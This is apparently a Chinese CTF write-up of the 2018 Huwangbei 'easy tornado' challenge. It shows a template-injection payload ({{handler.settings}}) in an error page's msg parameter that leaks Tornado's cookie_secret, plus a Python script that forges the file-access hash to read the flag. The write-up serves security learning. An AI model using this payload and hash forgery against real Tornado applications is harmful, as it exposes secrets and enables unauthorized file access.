zoukankan      html  css  js  c++  java
  • easy tornado

    easy tornado

    题目分析

    这是一道2018年护网杯的题目

    /flag.txt
    /welcome.txt
    /hints.txt
    

    一共有3个文件。

    /flag.txt
    flag in /fllllllllllllag
    /welcome.txt
    render
    /hints.txt
    md5(cookie_secret+md5(filename))
    

    进入第一个文件flag.txt,发现好像提示文件名为/fllllllllllag

    进入第二个文件welcome.txt,发现提示为render,render({options}) 去向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。

    进入第三个文件hints.txt,发现提示md5(cookie_secret + md5(filename)),即先将filenamemd5加密,再将cookie_secret与md5加密后的filename进行md5加密,目前我们需要知道的是filenamecookie_secret,猜测文件名为/fllllllllllag,也就是说,只要知道cookie_secret就行了。

    观察查看文件时使用的url:

    http://111.198.29.45:56630/file?filename=/hints.txt&filehash=b10fbfd1f38e8dd058abe90e0df3db8d
    

    猜测md5(cookie_secret + md5(filename))的结果就是访问文件时所需要的filehash

    尝试访问/fllllllllllag,发现跳转到错误页面

    easytornado_4

    页面中存在msg,尝试:

    easytornado_7

    证实存在模板注入漏洞

    解题过程

    查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。

    easytornado_1

    cookie_secret保存在settings

    easytornado_2

    发现self.application.settings有一个别名

    easytornado_3

    handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings


    可以构造payload获取cookie_secret

    payload:error?msg={{handler.settings}}

    easytornado_6

    获得cookie_secret,编写脚本,计算md5(cookie_secret + md5(filename))

    import hashlib
    
    filename = '/fllllllllllllag'
    cookie_secret ="6fe556f1-9b77-481e-9535-c4e9f803b89d"
    
    def getvalue(string):
        md5 = hashlib.md5()
        md5.update(string.encode('utf-8'))
        return md5.hexdigest()
    
    def merge():
        print(getvalue(cookie_secret + getvalue(filename)))
    
    merge()
    

    得到flag:

    easytornado_8

  • 相关阅读:
    ASP.NET MVC 入门9、Action Filter 与 内置的Filter实现(介绍) 【转】
    一个建议,看看大家的意见。
    发现不错的文章,推!
    有个小问题,大家一起研究。
    逼不得已,这个我确实不会,昨办?
    MSN Message6.2 的小BUG
    在IE7浏览器中切换成以资源管理器方式
    手机罗盘(指南针)校准方法
    G13/ Wildfire S/A510e link2SD教程,干净清洁的安装程序到内存卡
    HTC G13电池怎么鉴别真伪
  • 原文地址:https://www.cnblogs.com/chalan630/p/12609470.html
Copyright © 2011-2022 走看看